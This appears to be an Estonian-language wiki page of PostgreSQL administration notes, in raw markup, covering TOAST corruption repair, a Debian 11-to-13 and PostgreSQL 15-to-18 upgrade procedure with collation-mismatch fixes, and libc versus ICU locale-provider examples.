&lt;br /&gt;
===Andmebaasi vigade parandamine===&lt;br /&gt;
&lt;br /&gt;
====XXX viga====&lt;br /&gt;
&lt;br /&gt;
Probleemiks on baasi dump käigus tekkiv viga&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ pg_dump -p 5435 -Fc -f baasinimi.dump baasinimi&lt;br /&gt;
pg_dump: Dumping the contents of table &amp;quot;failid&amp;quot; failed: PQgetResult() failed.&lt;br /&gt;
pg_dump: Error message from server: ERROR:  unexpected chunk number 570 (expected 568) for toast value 241844880 in pg_toast_62025918&lt;br /&gt;
pg_dump: The command was: COPY public.failid (faili_id, yhistu_id, perioodi_id, arve_id, dokumendi_id, ...) TO stdout;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tööpõhimõte&lt;br /&gt;
&lt;br /&gt;
 TODO&lt;br /&gt;
&lt;br /&gt;
failid2 tabeli tekitamiseks sobib öelda (nb! ei tekitata constrainitisid jms)&lt;br /&gt;
&lt;br /&gt;
 baasinimi=# select * into failid2 from failid limit 1;&lt;br /&gt;
 baasinimi=# delete from failid2;&lt;br /&gt;
&lt;br /&gt;
Vigaste kirjete leidmine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
-- FUNCTION: public.imre10(integer, integer)&lt;br /&gt;
&lt;br /&gt;
-- DROP FUNCTION public.imre10(integer, integer);&lt;br /&gt;
&lt;br /&gt;
CREATE OR REPLACE FUNCTION public.imre10(&lt;br /&gt;
	integer,&lt;br /&gt;
	integer)&lt;br /&gt;
    RETURNS character varying&lt;br /&gt;
    LANGUAGE 'plpgsql'&lt;br /&gt;
&lt;br /&gt;
    COST 100&lt;br /&gt;
    VOLATILE &lt;br /&gt;
AS $BODY$&lt;br /&gt;
DECLARE&lt;br /&gt;
    badid INT;&lt;br /&gt;
	vfaili_id integer;&lt;br /&gt;
	vyhistu_id integer;&lt;br /&gt;
	vperioodi_id integer;&lt;br /&gt;
	varve_id integer;&lt;br /&gt;
	vdokumendi_id integer;&lt;br /&gt;
        ...&lt;br /&gt;
	loc varchar;&lt;br /&gt;
BEGIN&lt;br /&gt;
FOR badid IN SELECT faili_id FROM failid LOOP&lt;br /&gt;
    BEGIN&lt;br /&gt;
        select faili_id into vfaili_id FROM failid where faili_id = badid;&lt;br /&gt;
        select yhistu_id into vyhistu_id FROM failid where faili_id = badid;&lt;br /&gt;
	select perioodi_id into vperioodi_id FROM failid where faili_id = badid;&lt;br /&gt;
	select arve_id into varve_id FROM failid where faili_id = badid;&lt;br /&gt;
	select dokumendi_id into vdokumendi_id from failid where faili_id = badid;&lt;br /&gt;
        ...&lt;br /&gt;
	insert into failid2 (faili_id, yhistu_id, arve_id, dokumendi_id, ...) values (vfaili_id, vyhistu_id, varve_id, vdokumendi_id, ...);&lt;br /&gt;
        -- RAISE NOTICE 'Hello World %', badid::int;&lt;br /&gt;
    EXCEPTION&lt;br /&gt;
        WHEN OTHERS THEN&lt;br /&gt;
           RAISE NOTICE 'Data for ID % is corrupt', badid;&lt;br /&gt;
           CONTINUE;&lt;br /&gt;
    END;&lt;br /&gt;
END LOOP;&lt;br /&gt;
return 'tere';&lt;br /&gt;
END;&lt;br /&gt;
$BODY$;&lt;br /&gt;
&lt;br /&gt;
ALTER FUNCTION public.imre10(integer, integer)&lt;br /&gt;
    OWNER TO imre;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
käivitamiseks&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
baasinimi=# select imre10(1, 1);&lt;br /&gt;
NOTICE:  Data for ID 2594124 is corrupt&lt;br /&gt;
NOTICE:  Data for ID 2594125 is corrupt&lt;br /&gt;
 imre10&lt;br /&gt;
--------&lt;br /&gt;
 tere&lt;br /&gt;
(1 row)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Vigaste kirjete kustutamiseks&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
baasinimi=# select * from failid where faili_id = '2594124';&lt;br /&gt;
ERROR:  unexpected chunk number 570 (expected 568) for toast value 241844880 in pg_toast_62025918&lt;br /&gt;
baasinimi=# select * from failid where faili_id = '2594125';&lt;br /&gt;
ERROR:  unexpected chunk number 62 (expected 60) for toast value 241844882 in pg_toast_62025918&lt;br /&gt;
&lt;br /&gt;
baasinimi=# delete from failid where faili_id = '2594124';&lt;br /&gt;
DELETE 1&lt;br /&gt;
baasinimi=# delete from failid where faili_id = '2594125';&lt;br /&gt;
DELETE 1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://www.postgresql.org/message-id/CACut7uSkZrpFHtDEq6UCoOd5fMpXDvmhzGSh=ZHJx86Ac=nOUg@mail.gmail.com&lt;br /&gt;
&lt;br /&gt;
===Misc===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres=# table pg_hba_file_rules;&lt;br /&gt;
 line_number | type  |   database    | user_name  |  address  |                 netmask                 | auth_method | options | error &lt;br /&gt;
-------------+-------+---------------+------------+-----------+-----------------------------------------+-------------+---------+-------&lt;br /&gt;
          85 | local | {all}         | {postgres} |           |                                         | peer        |         | &lt;br /&gt;
          90 | local | {all}         | {all}      |           |                                         | peer        |         | &lt;br /&gt;
          92 | host  | {all}         | {all}      | 127.0.0.1 | 255.255.255.255                         | md5         |         | &lt;br /&gt;
          94 | host  | {all}         | {all}      | 0.0.0.0   | 0.0.0.0                                 | md5         |         | &lt;br /&gt;
          97 | local | {replication} | {all}      |           |                                         | peer        |         | &lt;br /&gt;
          98 | host  | {replication} | {all}      | 127.0.0.1 | 255.255.255.255                         | md5         |         | &lt;br /&gt;
          99 | host  | {replication} | {all}      | ::1       | ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff | md5         |         | &lt;br /&gt;
(7 rows)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===2026 kevade märkused===&lt;br /&gt;
&lt;br /&gt;
* lähtepunktiks on töötav debian v. 11 ja pgdg v. 15 postgresql andmebaas, pgbackrest on kasutusel varundamiseks ssh serverisse, zabbix agent2&lt;br /&gt;
* disableda systemd abil postgresql ja postgresql@15-main, /etc/fstab kommenteerida välja '/var/lib/postgresql', virtuaalse pve arvuti shutdown ja teha pbs varundus mitte-töötavast arvutist&lt;br /&gt;
* eemaldada zabbix-agent2 pakett&lt;br /&gt;
* arvuti käivitada ja uuendada 11 -&amp;gt; 12 -&amp;gt; 13 debian operatsioonisüsteem ja pgdg tarkvara (muutes bullseye -&amp;gt; bookworm -&amp;gt; trixie apt sources konfis)&lt;br /&gt;
* veenduda et /etc/postgresql-common/pgcreatecluster.d/moraal.conf on sobiva sisuga, vt all pool&lt;br /&gt;
* paigaldada postgresql-18 pakett&lt;br /&gt;
* monteerida külge '/var/lib/postgresql'&lt;br /&gt;
* teha igaks juhuks koopia /var/lib/postgreql/15/main kataloogist&lt;br /&gt;
* käivitada uuendatud olukorras postgresql v. 15 ja korrigeerida libc uuendusest tulenevad probleemid, vt all pool&lt;br /&gt;
* uuendada postgresql andmestik pg_clusterupgrade abil 15 -&amp;gt; 18, analyze jne (pg_clusterupgrade väljund õpetab)&lt;br /&gt;
* enableda systemd abil postgresql ja postgresql@18-main&lt;br /&gt;
* paigaldada zabbix-agent2 pakett (seejuures vist tekib automaatselt pinning /etc/apt/preferences.d/zabbix abil repo.zabbix.com peale või versioonile)&lt;br /&gt;
&lt;br /&gt;
====pg v. 15 all Debian v 11 -&amp;gt; v 13 uuendamine====&lt;br /&gt;
&lt;br /&gt;
Käesolev punkt ei tegele postgresql tarkvara enda uuendamisega, aga postgresqli sama versiooni mõjutava libc uuenduse mõjuga, Debian v 11 puhul&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# dpkg -l libc6 | grep ^ii&lt;br /&gt;
ii  libc6:amd64    2.31-13+deb11u13 amd64        GNU C Library: Shared libraries&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja Debian v 13 puhul&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# dpkg -l libc6 | grep ^ii&lt;br /&gt;
ii  libc6:amd64    2.41-12+deb13u2 amd64        GNU C Library: Shared libraries&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
probleem paistab välja logis nii&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
2026-05-12 23:05:36.689 EEST [3152] LOG:  starting PostgreSQL 15.17 (Debian 15.17-1.pgdg13+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 14.2.0-19) 14.2.0, 64-bit&lt;br /&gt;
2026-05-12 23:05:36.690 EEST [3152] LOG:  listening on IPv4 address &amp;quot;0.0.0.0&amp;quot;, port 5432&lt;br /&gt;
2026-05-12 23:05:36.690 EEST [3152] LOG:  listening on IPv6 address &amp;quot;::&amp;quot;, port 5432&lt;br /&gt;
2026-05-12 23:05:36.691 EEST [3152] LOG:  listening on Unix socket &amp;quot;/var/run/postgresql/.s.PGSQL.5432&amp;quot;&lt;br /&gt;
2026-05-12 23:05:36.697 EEST [3155] LOG:  database system was shut down at 2026-05-12 22:18:29 EEST&lt;br /&gt;
2026-05-12 23:05:36.707 EEST [3152] LOG:  database system is ready to accept connections&lt;br /&gt;
2026-05-12 23:05:37.748 EEST [3162] postgres@template1 WARNING:  database &amp;quot;template1&amp;quot; has a collation version mismatch&lt;br /&gt;
2026-05-12 23:05:37.748 EEST [3162] postgres@template1 DETAIL:  The database was created using collation version 2.31, but the operating system provides version 2.41.&lt;br /&gt;
2026-05-12 23:05:37.748 EEST [3162] postgres@template1 HINT:  Rebuild all objects in this database that use the default collation and run ALTER DATABASE template1 REFRESH COLLATION VERSION, or build PostgreSQL with the right library version.&lt;br /&gt;
2026-05-12 23:05:38.265 EEST [3165] postgres@template1 WARNING:  database &amp;quot;template1&amp;quot; has a collation version mismatch&lt;br /&gt;
2026-05-12 23:05:38.265 EEST [3165] postgres@template1 DETAIL:  The database was created using collation version 2.31, but the operating system provides version 2.41.&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
postgres@test-db:~$ psql&lt;br /&gt;
WARNING:  database &amp;quot;postgres&amp;quot; has a collation version mismatch&lt;br /&gt;
DETAIL:  The database was created using collation version 2.31, but the operating system provides version 2.41.&lt;br /&gt;
HINT:  Rebuild all objects in this database that use the default collation and run ALTER DATABASE postgres REFRESH COLLATION VERSION, or build PostgreSQL with the right library version.&lt;br /&gt;
psql (18.3 (Debian 18.3-1.pgdg13+1), server 15.17 (Debian 15.17-1.pgdg13+1))&lt;br /&gt;
Type &amp;quot;help&amp;quot; for help.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* andmebaas kurdab, et binary data on tekitqtud libc v. 2.31 koosseisus oleva collationi abil ja praegu süsteem kasutab libc v. 2.41&lt;br /&gt;
&lt;br /&gt;
lahendus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres@test-db:~$ reindexdb --all 1&amp;gt; reindexdb-all.log 2&amp;gt;&amp;amp;1&lt;br /&gt;
&lt;br /&gt;
postgres@test-db:~$ psql&lt;br /&gt;
psql (15.17 (Debian 15.17-1.pgdg13+1))&lt;br /&gt;
Type &amp;quot;help&amp;quot; for help.&lt;br /&gt;
&lt;br /&gt;
postgres=# ALTER DATABASE &amp;quot;template1&amp;quot; REFRESH COLLATION VERSION;&lt;br /&gt;
postgres=# ALTER DATABASE &amp;quot;db_infosysteem&amp;quot; REFRESH COLLATION VERSION;&lt;br /&gt;
postgres=# ALTER DATABASE &amp;quot;postgres&amp;quot; REFRESH COLLATION VERSION;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* reindexdb on käsk mis tuleb anda töötava baasi suhtes (mitte failisüsteemis lebavate binary data failide suhtes)&lt;br /&gt;
* pigem mitte kasutada reindexdb concurrency võimalusi (tundub, et ta ei tööta teatud tabelitega vms, tekitab .ccnew nimelisi laokile jäävaid indekseid; samas teadlikult kasutades võib olla abi)&lt;br /&gt;
* reindex muudab andmeid&lt;br /&gt;
* alter database .. refresh collation muudab nö raamatupidamist (tehniliselt saaks teha näiliselt baasi korda ka ilma reindex käsku ütlemata, aga küllap loodus sekkub varsti sel juhul)&lt;br /&gt;
&lt;br /&gt;
Tulemuse kontrollimine, veenduda, et pole katkisi indekseid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres=# SELECT relname as index_name&lt;br /&gt;
FROM pg_class c&lt;br /&gt;
JOIN pg_index i ON c.oid = i.indexrelid&lt;br /&gt;
WHERE i.indisvalid = false;&lt;br /&gt;
 index_name&lt;br /&gt;
------------&lt;br /&gt;
(0 rows)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning, et peale muudatusi on datcollversion sobiva väärtusega (uuemaga kui enne muudatust, näiteks)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres=# SELECT datname, datcollversion FROM pg_database;&lt;br /&gt;
         datname          | datcollversion&lt;br /&gt;
--------------------------+----------------&lt;br /&gt;
 template0                |&lt;br /&gt;
 template1                | 2.41&lt;br /&gt;
 db_infosysteem           | 2.41&lt;br /&gt;
 postgres                 | 2.41&lt;br /&gt;
(4 rows)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====PostgreSQL v 15 -&amp;gt; v 18 uuendamine====&lt;br /&gt;
&lt;br /&gt;
Käesolev punkt tegeleb postgresql tarkvara enda uuendamisega. Üldised ettevalmistused, lülitada välja pgbackrest varundamine selleks, et olemasolevat varundust mitte eksitada&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /etc/postgresql/15/main/postgresql.conf&lt;br /&gt;
..&lt;br /&gt;
archive_mode=off&lt;br /&gt;
archive_command='/usr/bin/true'&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /etc/postgresql-common/createcluster.conf.d/moraal.conf&lt;br /&gt;
&lt;br /&gt;
..&lt;br /&gt;
create_main_cluster = false&lt;br /&gt;
initdb_options = '--locale=et_EE.UTF-8 --data-checksums'&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Uuendamise käsundamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ pg_upgradecluster -m upgrade -v 18 15 main&lt;br /&gt;
$ /usr/lib/postgresql/18/bin/vacuumdb --all --analyze-in-stages&lt;br /&gt;
$ /usr/lib/postgresql/18/bin/vacuumdb --all --analyze-only&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====pgbackrest seadistamine====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===locale provider - libc===&lt;br /&gt;
&lt;br /&gt;
collate tegeleb kahes dimensioonis&lt;br /&gt;
&lt;br /&gt;
* sorteerimise tulemus st andmete järjestus&lt;br /&gt;
* sorteerimise efektiivsus st on-disk indeksid&lt;br /&gt;
&lt;br /&gt;
create database 'lc_collate' omab vaikimisi mõju kahes kohas&lt;br /&gt;
&lt;br /&gt;
* indeksi moodustamisel 'CREATE INDEX idx_users_en ON users (username COLLATE &amp;quot;en_US.utf8&amp;quot;);' saab 'collate ...' ära jätta ja tulemus on sama&lt;br /&gt;
* select päringu tegemisel 'SELECT username FROM users ORDER BY username COLLATE &amp;quot;en_US.utf8&amp;quot;;' saab 'collate ...' ära jätta ja tulemus on sama&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* libc puhul saab teha tabeli tulbale indekseid erinevate collate'dega st erinevate keelte kohta&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres=# CREATE DATABASE db_imretest_libc_en_us_utf_8 LOCALE_PROVIDER = 'libc' LC_COLLATE = 'en_US.UTF-8' LC_CTYPE = 'en_US.UTF-8';&lt;br /&gt;
CREATE DATABASE&lt;br /&gt;
postgres=# \l db_imretest_libc_en_us_utf_8&lt;br /&gt;
List of databases&lt;br /&gt;
-[ RECORD 1 ]-----+-----------------------------&lt;br /&gt;
Name              | db_imretest_libc_en_us_utf_8&lt;br /&gt;
Owner             | postgres&lt;br /&gt;
Encoding          | UTF8&lt;br /&gt;
Locale Provider   | libc&lt;br /&gt;
Collate           | en_US.UTF-8&lt;br /&gt;
Ctype             | en_US.UTF-8&lt;br /&gt;
Locale            |&lt;br /&gt;
ICU Rules         |&lt;br /&gt;
Access privileges |&lt;br /&gt;
&lt;br /&gt;
postgres=# \c db_imretest_libc_en_us_utf_8&lt;br /&gt;
You are now connected to database &amp;quot;db_imretest_libc_en_us_utf_8&amp;quot; as user &amp;quot;postgres&amp;quot;.&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# CREATE TABLE users (&lt;br /&gt;
    id SERIAL PRIMARY KEY,&lt;br /&gt;
    username VARCHAR(100) NOT NULL&lt;br /&gt;
);&lt;br /&gt;
CREATE TABLE&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# INSERT INTO users (username) VALUES&lt;br /&gt;
('Zernask'),&lt;br /&gt;
('Škerin'),&lt;br /&gt;
('Smirnov'),&lt;br /&gt;
('Sébastien'),&lt;br /&gt;
('Sebastien'),&lt;br /&gt;
('Müller'),&lt;br /&gt;
('Muller');&lt;br /&gt;
INSERT 0 7&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# SELECT username FROM users ORDER BY username COLLATE &amp;quot;en_US.utf8&amp;quot;;&lt;br /&gt;
-[ RECORD 1 ]-------&lt;br /&gt;
username | Muller&lt;br /&gt;
-[ RECORD 2 ]-------&lt;br /&gt;
username | Müller&lt;br /&gt;
-[ RECORD 3 ]-------&lt;br /&gt;
username | Sebastien&lt;br /&gt;
-[ RECORD 4 ]-------&lt;br /&gt;
username | Sébastien&lt;br /&gt;
-[ RECORD 5 ]-------&lt;br /&gt;
username | Škerin&lt;br /&gt;
-[ RECORD 6 ]-------&lt;br /&gt;
username | Smirnov&lt;br /&gt;
-[ RECORD 7 ]-------&lt;br /&gt;
username | Zernask&lt;br /&gt;
&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# SELECT username FROM users ORDER BY username COLLATE &amp;quot;C.utf8&amp;quot;;&lt;br /&gt;
-[ RECORD 1 ]-------&lt;br /&gt;
username | Muller&lt;br /&gt;
-[ RECORD 2 ]-------&lt;br /&gt;
username | Müller&lt;br /&gt;
-[ RECORD 3 ]-------&lt;br /&gt;
username | Sebastien&lt;br /&gt;
-[ RECORD 4 ]-------&lt;br /&gt;
username | Smirnov&lt;br /&gt;
-[ RECORD 5 ]-------&lt;br /&gt;
username | Sébastien&lt;br /&gt;
-[ RECORD 6 ]-------&lt;br /&gt;
username | Zernask&lt;br /&gt;
-[ RECORD 7 ]-------&lt;br /&gt;
username | Škerin&lt;br /&gt;
&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# CREATE INDEX idx_users ON users (username);&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# CREATE INDEX idx_users_en ON users (username COLLATE &amp;quot;en_US.utf8&amp;quot;);&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# CREATE INDEX idx_users_c ON users (username COLLATE &amp;quot;C.utf8&amp;quot;);&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Näide&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres=# CREATE DATABASE db_imretest_libc_en_us_utf_8 LOCALE_PROVIDER = 'libc' LC_COLLATE = 'en_US.UTF-8' LC_CTYPE = 'en_US.UTF-8';&lt;br /&gt;
postgres=# CREATE DATABASE db_imretest_libc_et_ee_utf_8 LOCALE_PROVIDER = 'libc' LC_COLLATE = 'et_EE.UTF-8' LC_CTYPE = 'et_EE.UTF-8' template=template0;&lt;br /&gt;
&lt;br /&gt;
postgres=# \c db_imretest_libc_en_us_utf_8;&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# CREATE TABLE users (&lt;br /&gt;
    id SERIAL PRIMARY KEY,&lt;br /&gt;
    username VARCHAR(100) NOT NULL&lt;br /&gt;
);&lt;br /&gt;
CREATE TABLE&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# INSERT INTO users (username) VALUES&lt;br /&gt;
('Zernask'),&lt;br /&gt;
('Škerin'),&lt;br /&gt;
('Smirnov'),&lt;br /&gt;
('Sébastien'),&lt;br /&gt;
('Sebastien'),&lt;br /&gt;
('Müller'),&lt;br /&gt;
('Muller');&lt;br /&gt;
&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# \c db_imretest_libc_et_ee_utf_8;&lt;br /&gt;
You are now connected to database &amp;quot;db_imretest_libc_et_ee_utf_8&amp;quot; as user &amp;quot;postgres&amp;quot;.&lt;br /&gt;
db_imretest_libc_et_ee_utf_8=# CREATE TABLE users (&lt;br /&gt;
    id SERIAL PRIMARY KEY,&lt;br /&gt;
    username VARCHAR(100) NOT NULL&lt;br /&gt;
);&lt;br /&gt;
CREATE TABLE&lt;br /&gt;
db_imretest_libc_et_ee_utf_8=# INSERT INTO users (username) VALUES&lt;br /&gt;
('Zernask'),&lt;br /&gt;
('Škerin'),&lt;br /&gt;
('Smirnov'),&lt;br /&gt;
('Sébastien'),&lt;br /&gt;
('Sebastien'),&lt;br /&gt;
('Müller'),&lt;br /&gt;
('Muller');&lt;br /&gt;
INSERT 0 7&lt;br /&gt;
&lt;br /&gt;
db_imretest_libc_et_ee_utf_8=# SELECT username FROM users ORDER BY username;&lt;br /&gt;
 username&lt;br /&gt;
-----------&lt;br /&gt;
 Muller&lt;br /&gt;
 Müller&lt;br /&gt;
 Sebastien&lt;br /&gt;
 Sébastien&lt;br /&gt;
 Smirnov&lt;br /&gt;
 Škerin&lt;br /&gt;
 Zernask&lt;br /&gt;
(7 rows)&lt;br /&gt;
&lt;br /&gt;
db_imretest_libc_et_ee_utf_8=# \c db_imretest_libc_en_us_utf_8;&lt;br /&gt;
You are now connected to database &amp;quot;db_imretest_libc_en_us_utf_8&amp;quot; as user &amp;quot;postgres&amp;quot;.&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# SELECT username FROM users ORDER BY username;&lt;br /&gt;
 username&lt;br /&gt;
-----------&lt;br /&gt;
 Muller&lt;br /&gt;
 Müller&lt;br /&gt;
 Sebastien&lt;br /&gt;
 Sébastien&lt;br /&gt;
 Škerin&lt;br /&gt;
 Smirnov&lt;br /&gt;
 Zernask&lt;br /&gt;
(7 rows)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===locale provider - icu===&lt;br /&gt;
&lt;br /&gt;
====Mõisted====&lt;br /&gt;
&lt;br /&gt;
* ICU - International Components for Unicode&lt;br /&gt;
* CLRD - Common Locale Data Repository&lt;br /&gt;
&lt;br /&gt;
Misc&lt;br /&gt;
&lt;br /&gt;
* collate - ei ole väga tavakõne sõna inglise keeles, aga tähendab järjestamist, organiseerimist jms&lt;br /&gt;
* lc_collate ja lc_ctype puudutavad füüsiliselt on-disk andmeid&lt;br /&gt;
* lc_messages, lc_monetary, lc_numeric, lc_time - on on-fly teisendused&lt;br /&gt;
&lt;br /&gt;
Paketihalduses paistavad asjasse puutuvad sellised paketid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
libicu72 - Debian v. 12&lt;br /&gt;
libicu76 - Debian v. 13&lt;br /&gt;
libicu70 - Ubuntu 22.04&lt;br /&gt;
libicu74 - Ubuntu 24.04&lt;br /&gt;
libicu78 - Ubuntu 26.04&lt;br /&gt;
postgresql-17-icu-ext - Debian v. 13 non-pgdg&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Kasutamine====&lt;br /&gt;
&lt;br /&gt;
Kõige üldisem oleks esitada locale provider info 'icu' osas postgresql-common osakonnas, nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ns-pg-01:~# cat /etc/postgresql-common/createcluster.d/moraal.conf&lt;br /&gt;
initdb_options = '--data-checksums --locale-provider=icu --icu-locale=en-US'&lt;br /&gt;
create_main_cluster = false&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ns-pg-01:~# pg_createcluster 16 main&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tulemusena&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres@ns-pg-01:~$ psql&lt;br /&gt;
psql (16.14 (Ubuntu 16.14-1.pgdg26.04+1))&lt;br /&gt;
Type &amp;quot;help&amp;quot; for help.&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
postgres=# CREATE DATABASE db_pdns owner=pdns;&lt;br /&gt;
postgres=# CREATE DATABASE db_pda owner=pda;&lt;br /&gt;
&lt;br /&gt;
postgres=# \l&lt;br /&gt;
                                                       List of databases&lt;br /&gt;
   Name    |  Owner   | Encoding | Locale Provider |   Collate   |    Ctype    | ICU Locale | ICU Rules |   Access privileges&lt;br /&gt;
-----------+----------+----------+-----------------+-------------+-------------+------------+-----------+-----------------------&lt;br /&gt;
 db_pda    | pda      | UTF8     | icu             | en_US.UTF-8 | en_US.UTF-8 | en-US      |           |&lt;br /&gt;
 db_pdns   | pdns     | UTF8     | icu             | en_US.UTF-8 | en_US.UTF-8 | en-US      |           |&lt;br /&gt;
 postgres  | postgres | UTF8     | icu             | en_US.UTF-8 | en_US.UTF-8 | en-US      |           |&lt;br /&gt;
 template0 | postgres | UTF8     | icu             | en_US.UTF-8 | en_US.UTF-8 | en-US      |           | =c/postgres          +&lt;br /&gt;
           |          |          |                 |             |             |            |           | postgres=CTc/postgres&lt;br /&gt;
 template1 | postgres | UTF8     | icu             | en_US.UTF-8 | en_US.UTF-8 | en-US      |           | =c/postgres          +&lt;br /&gt;
           |          |          |                 |             |             |            |           | postgres=CTc/postgres&lt;br /&gt;
(5 rows)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* kõik andmebaasid/templated/jne kasutavad ühetaoliselt 'locale provider' icu&lt;br /&gt;
&lt;br /&gt;
sissekande tekitab, eeldusel, et 'dpkg-reconfigure locales' -&amp;gt; et_EE.UTF-8 on olemas ja baasi protsessidele on restart öeldud&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres=# CREATE DATABASE db_tmp_et WITH LOCALE_PROVIDER = 'icu' ICU_LOCALE = 'et-EE' TEMPLATE = template0 LC_COLLATE = 'et_EE.UTF-8' LC_CTYPE = 'et_EE.UTF-8'&lt;br /&gt;
&lt;br /&gt;
postgres=# \l db_tmp_et&lt;br /&gt;
List of databases&lt;br /&gt;
-[ RECORD 1 ]-----+------------&lt;br /&gt;
Name              | db_tmp_et&lt;br /&gt;
Owner             | postgres&lt;br /&gt;
Encoding          | UTF8&lt;br /&gt;
Locale Provider   | icu&lt;br /&gt;
Collate           | et_EE.UTF-8&lt;br /&gt;
Ctype             | et_EE.UTF-8&lt;br /&gt;
ICU Locale        | et-EE&lt;br /&gt;
ICU Rules         |&lt;br /&gt;
Access privileges |&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Misc====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres=# \dOS+&lt;br /&gt;
                                                                                      List of collations&lt;br /&gt;
   Schema   |          Name          | Provider |  Collate   |   Ctype    |      Locale      | ICU Rules | Deterministic? | Description&lt;br /&gt;
------------+------------------------+----------+------------+------------+------------------+-----------+----------------+--------------------------&lt;br /&gt;
 pg_catalog | C                      | libc     | C          | C          |                  |           | yes            | standard C collation&lt;br /&gt;
 pg_catalog | C.utf8                 | libc     | C.utf8     | C.utf8     |                  |           | yes            |&lt;br /&gt;
 pg_catalog | POSIX                  | libc     | POSIX      | POSIX      |                  |           | yes            | standard POSIX collation&lt;br /&gt;
 pg_catalog | af-NA-x-icu            | icu      |            |            | af-NA            |           | yes            | Afrikaans (Namibia)&lt;br /&gt;
 pg_catalog | af-ZA-x-icu            | icu      |            |            | af-ZA            |           | yes            | Afrikaans (South Africa)&lt;br /&gt;
